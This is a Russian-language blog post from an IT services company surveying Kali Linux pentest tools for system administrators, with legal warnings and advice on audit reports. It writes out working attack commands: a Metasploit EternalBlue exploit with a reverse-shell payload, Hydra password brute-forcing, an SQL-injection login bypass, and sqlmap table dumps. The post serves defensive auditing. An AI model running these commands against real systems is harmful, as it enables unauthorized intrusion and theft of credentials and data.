Инструменты пентеста в Kali Linux: практический обзор — АйТи Фреш

Инструменты пентеста в Kali Linux: практический обзор

Инструменты пентеста в Kali Linux: практический обзор

Зачем системному администратору знать инструменты пентеста

Умение работать с инструментами пентеста — это не удел «хакеров в капюшонах». Любой системный администратор, который отвечает за инфраструктуру, рано или поздно понимает: лучше найти дыру самому, чем узнать о ней из звонка клиента в пятницу вечером. Kali Linux — специализированный дистрибутив на базе Debian, в котором предустановлены сотни инструментов для аудита безопасности. Всё готово к работе прямо из коробки.

Сразу про главное. Всё, о чём написано ниже, применяется только на собственной инфраструктуре или при наличии письменного разрешения владельца. Несанкционированное сканирование чужих систем — это уже Уголовный кодекс, а не IT-аудит.

Разберём инструменты по этапам — от первичной разведки до работы с базами данных:

  • Разведка — Nmap, Netdiscover
  • Сканирование веб-приложений — Nikto, Burp Suite
  • Эксплуатация — Metasploit Framework
  • Брутфорс — Hydra, John the Ripper
  • SQL-инъекции — sqlmap

Nmap: сканирование и разведка сети

Nmap (Network Mapper) — это первое, что запускаешь на новом объекте. За 15 лет я не видел ни одного аудита без него. Инструмент обнаруживает живые хосты, открытые порты, определяет запущенные сервисы и их версии, угадывает операционную систему. Фактически рисует карту сети с нуля.

Основные сценарии сканирования

Вот команды, которые реально используются в работе:

# Быстрое обнаружение хостов в подсети (ping sweep)
nmap -sn 192.168.1.0/24

# Сканирование 1000 популярных портов с определением сервисов
nmap -sV 192.168.1.100

# Полное сканирование всех 65535 портов
nmap -p- -sV -sC 192.168.1.100

# Определение ОС
nmap -O 192.168.1.100

# Агрессивное сканирование (ОС + версии + скрипты + traceroute)
nmap -A 192.168.1.100

# Сканирование UDP-портов (медленное, но важное)
nmap -sU --top-ports 100 192.168.1.100

# Stealth-сканирование (SYN scan без полного TCP handshake)
nmap -sS -T4 192.168.1.0/24

# Вывод в формате XML для дальнейшего анализа
nmap -sV -oX scan_results.xml 192.168.1.0/24

Флаг -sC подключает стандартные NSE-скрипты (Nmap Scripting Engine). Они не просто стучатся в порты — проверяют типичные уязвимости, снимают баннеры, вытаскивают метаданные сервисов. Один флаг экономит час ручной работы.

NSE-скрипты для аудита

NSE-скрипты — отдельная история. Это полноценный механизм автоматизации, и там есть на что посмотреть:

# Проверка на уязвимость SMB (EternalBlue)
nmap --script smb-vuln-ms17-010 192.168.1.0/24

# Проверка SSL-сертификатов и уязвимостей
nmap --script ssl-enum-ciphers,ssl-heartbleed -p 443 192.168.1.100

# Поиск общих папок SMB
nmap --script smb-enum-shares --script-args smbusername=guest 192.168.1.100

# Проверка DNS zone transfer
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=example.com -p 53 ns.example.com

# Запуск всех скриптов категории vuln
nmap --script vuln 192.168.1.100

Nikto и Burp Suite: аудит веб-приложений

Веб-приложения — самый популярный вектор атак, с этим не поспоришь. Для работы с ними используем два инструмента с разной логикой: Nikto проходит по серверу автоматически, Burp Suite — это уже ручной интерактивный анализ каждого запроса.

Nikto: автоматический сканер

Nikto — быстрый способ проверить веб-сервер на известные проблемы. Запустил, подождал, получил список:

# Базовое сканирование
nikto -h http://192.168.1.100

# Сканирование HTTPS
nikto -h https://192.168.1.100 -ssl

# Сканирование конкретного порта с отчётом в HTML
nikto -h 192.168.1.100 -p 8080 -o report.html -Format html

# Тюнинг: только проверка конфигурации и устаревших файлов
nikto -h http://192.168.1.100 -Tuning 24

# Использование прокси (например, через Burp Suite)
nikto -h http://192.168.1.100 -useproxy http://127.0.0.1:8080

На практике Nikto стабильно находит следующее: устаревшие версии веб-сервера, торчащие наружу информационные файлы вроде phpinfo или readme, отсутствие заголовков безопасности — X-Frame-Options, CSP, уязвимые CGI-скрипты и директории по умолчанию типа admin, backup, test. Последнее встречается удивительно часто даже у серьёзных компаний.

Burp Suite: перехват и анализ запросов

Burp Suite Community — прокси для глубокого анализа HTTP-трафика. Если Nikto смотрит снаружи, то Burp встаёт между браузером и сервером и видит всё изнутри:

  1. Запустите Burp Suite и настройте прокси на порту 8080
  2. В браузере настройте HTTP-прокси: 127.0.0.1:8080
  3. Откройте целевой сайт — все запросы отобразятся во вкладке «Proxy → HTTP history»

Про модули Burp Suite — коротко по делу:

  • Proxy — перехват и модификация HTTP-запросов в реальном времени
  • Repeater — ручная отправка модифицированных запросов для тестирования
  • Intruder — автоматический перебор параметров (fuzzing)
  • Decoder — кодирование/декодирование Base64, URL, HTML

Классический пример из практики. Перехватываете POST-запрос авторизации, кидаете его в Repeater, меняете значение параметра password на ' OR 1=1 -- и смотрите, что вернёт сервер. Если пришёл ответ 200 с содержимым личного кабинета — SQL-инъекция подтверждена. Такое до сих пор встречается в production, причём не только у стартапов.

Metasploit Framework: эксплуатация уязвимостей

Metasploit — это, пожалуй, самый известный фреймворк в мире пентеста. Тысячи готовых эксплойтов под одной крышей. В контексте аудита мы используем его не чтобы «взломать», а чтобы подтвердить: да, уязвимость реальная, её можно эксплуатировать — вот доказательство для отчёта.

Основные команды msfconsole

Работа идёт через консоль msfconsole:

# Запуск Metasploit
msfconsole

# Поиск эксплойтов по ключевому слову
msf6 > search eternalblue
# 0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14  excellent

# Выбор эксплойта
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Просмотр параметров
msf6 exploit(ms17_010_eternalblue) > show options

# Установка целевого хоста
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100

# Установка payload
msf6 exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.200

# Проверка уязвимости (без эксплуатации)
msf6 exploit(ms17_010_eternalblue) > check

# Запуск эксплойта
msf6 exploit(ms17_010_eternalblue) > exploit

Команда check — недооценённая вещь. Она проверяет, уязвима ли цель, без запуска самого эксплойта. Безопасно использовать на боевых системах. Правда, поддерживают её не все модули — смотрите описание конкретного модуля.

Вспомогательные модули для аудита

Кроме эксплойтов, в Metasploit есть приличный набор модулей для сканирования и сбора информации. Иногда удобнее не переключаться между инструментами, а сделать всё из одной консоли:

# Сканирование SMB-версий
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > run

# Проверка анонимного доступа к FTP
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(anonymous) > run

# Brute-force SSH
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.1.100
msf6 auxiliary(ssh_login) > set USER_FILE /usr/share/wordlists/usernames.txt
msf6 auxiliary(ssh_login) > set PASS_FILE /usr/share/wordlists/passwords.txt
msf6 auxiliary(ssh_login) > run

Hydra: подбор паролей к сетевым сервисам

THC Hydra — инструмент для проверки стойкости паролей к сетевым сервисам. Работает быстро. Из протоколов поддерживает SSH, FTP, RDP, HTTP, SMTP, POP3, SMB и ещё несколько десятков — практически всё, с чем сталкиваешься в корпоративной сети.

Примеры использования Hydra

Команды для аудита паролей на разных сервисах:

# Подбор пароля SSH для известного пользователя
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100 -t 4

# Подбор логина и пароля RDP
hydra -L users.txt -P passwords.txt rdp://192.168.1.100 -t 2

# Подбор пароля к веб-форме (POST)
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 8

# Подбор пароля FTP
hydra -l ftpuser -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100

# Подбор пароля SMTP
hydra -l user@example.com -P passwords.txt smtp://mail.example.com -s 587 -S

Параметр -t задаёт число параллельных потоков. По SSH ставьте не больше 4 — большинство серверов начинают блокировать соединения уже на 5-6 одновременных попытках, и вы просто потеряете время. Для HTTP-форм можно смело поднимать до 16-32, там ограничений обычно нет.

sqlmap: автоматизация SQL-инъекций

sqlmap — автоматический инструмент для поиска и эксплуатации SQL-инъекций. Умеет работать с MySQL, PostgreSQL, MSSQL, Oracle, SQLite. По сути закрывает весь стек баз данных, который встречается в реальных проектах.

Основные сценарии sqlmap

Примеры команд для аудита веб-приложений:

# Тестирование GET-параметра на SQL-инъекцию
sqlmap -u "http://192.168.1.100/page?id=1" --dbs

# Тестирование POST-запроса
sqlmap -u "http://192.168.1.100/login" --data="user=admin&pass=test" --dbs

# Извлечение списка баз данных
sqlmap -u "http://192.168.1.100/page?id=1" --dbs

# Извлечение таблиц из конкретной базы
sqlmap -u "http://192.168.1.100/page?id=1" -D webapp --tables

# Извлечение данных из таблицы
sqlmap -u "http://192.168.1.100/page?id=1" -D webapp -T users --dump

# Указание cookie для авторизованных запросов
sqlmap -u "http://192.168.1.100/dashboard?report=1" \
  --cookie="session=abc123def456" --dbs

# Определение типа СУБД и уровня тестирования
sqlmap -u "http://192.168.1.100/page?id=1" --dbms=mysql --level=3 --risk=2

Параметры --level (от 1 до 5) и --risk (от 1 до 3) управляют глубиной проверки. На level=3 sqlmap уже копается в HTTP-заголовках и cookie. risk=2 добавляет time-based инъекции — они медленнее, но находят то, что обычные методы пропускают.

Составление отчёта об аудите

После аудита на руках куча технических данных. Задача — превратить это в понятный документ, с которым сможет работать и технарь, и директор.

Структура отчёта

Нормальный отчёт по аудиту безопасности состоит из нескольких обязательных блоков:

  1. Резюме для руководства — общий уровень безопасности, критичные находки в 1-2 предложениях
  2. Методология — какие инструменты гоняли, какие системы попали в scope, в какие сроки проводилось тестирование
  3. Находки — каждая уязвимость отдельным блоком, не валить всё в кучу:
    • Что за уязвимость и как она работает
    • Какие конкретно хосты или сервисы затронуты
    • Уровень критичности — Critical, High, Medium или Low, без самодеятельности в классификации
    • Доказательство: скриншот, вывод команды, дамп — что-то конкретное, а не просто слова
    • Что делать, чтобы закрыть дыру — желательно с конкретными шагами, а не «обновите ПО»
  4. Приоритезация — чётко указываем, что горит и требует внимания прямо сейчас, а что можно закрыть в плановом порядке

Чтобы не собирать отчёт вручную, используем автоматическую выгрузку: nmap -oX даёт аккуратный XML, который потом легко парсить, Metasploit spool пишет всю сессию в лог, Burp Suite умеет делать скриншоты прямо из интерфейса. На практике это экономит часа два на каждый отчёт.

Часто задаваемые вопросы

Здесь всё просто: инструменты пентеста легальны ровно в двух случаях — тестируете собственную инфраструктуру, либо на руках есть письменное разрешение владельца системы (scope of work или authorization letter). Всё остальное — уголовка. Статья 272 УК РФ за неправомерный доступ к компьютерной информации работает, и прецеденты есть. Никаких «просто посмотреть» или «я же ничего неломал».

Kali Linux и Parrot OS — по сути два инструмента под одну задачу, и набор утилит у них пересекается процентов на 80. Разница вот в чём: Kali от Offensive Security — это стандарт индустрии, огромное сообщество, горы документации, под каждый инструмент найдётся десяток гайдов. Parrot OS заметно легче — меньше жрёт RAM, десктоп удобнее для повседневной работы, плюс больше инструментов для анонимности. Если только начинаете — берите Kali, не ошибётесь: обучающих материалов в разы больше.

За 15 лет работы с инфраструктурами компаний могу сказать: большинство взломов — это не хитрые 0-day, а банальщина. Не поставили патч, оставили открытый порт, забыли отключить тестовый сервис. Базовый набор мер закрывает процентов 70 рисков: своевременный patch management, отключение всего, что не используется, нормальные файрволы и ACL, MFA везде где можно, сегментация сети и мониторинг аномалий. Под конкретную CVE всегда смотрим в NVD (National Vulnerability Database) — там есть и описание, и способ устранения.

Клиенты часто спрашивают: как часто вообще нужно тестироваться? Наша рекомендация такая. Полный пентест внешнего периметра — раз в год, силами внешней компании, чтобы не проверять самих себя. Сканирование уязвимостей через Nessus или OpenVAS — ежемесячно. Nmap по периметру — еженедельно в автоматическом режиме, это вообще не больно настроить. Появился новый сервер или приложение — внеплановый аудит, не ждём годового цикла. Если у вас PCI DSS — ежеквартальные ASV-сканирования обязательны, это не обсуждается.

Нужна помощь с настройкой?

Специалисты АйТи Фреш готовы взяться за внедрение и настройку — за плечами 15+ лет реальных проектов, обслуживание от 15 000 ₽/мес

📞 Связаться с нами
#Kali Linux#пентест инструменты#Nmap сканирование#Metasploit#Burp Suite#аудит безопасности#тестирование на проникновение#sqlmap
Комментарии 0

Оставить комментарий

загрузка...

Подпишитесь на рассылку ITfresh

Каждую неделю мы выпускаем практические гайды для руководителей IT и системных администраторов. Это не просто теория! Здесь вы найдёте всё: безопасность, 1С, миграции, резервные копии и проверенные лайфхаки из наших реальных проектов.

Реквизиты оператора персональных данных

ООО «АЙТИ-ФРЕШ», ИНН 7719418495, КПП 771901001. Юридический адрес: 105523, г. Москва, Щёлковское шоссе, д. 92, корп. 7. Контакт: info@itfresh.ru, +7 903 729-62-41. Оператор обрабатывает e-mail подписчика в целях рассылки информационных и рекламных материалов до момента отзыва согласия.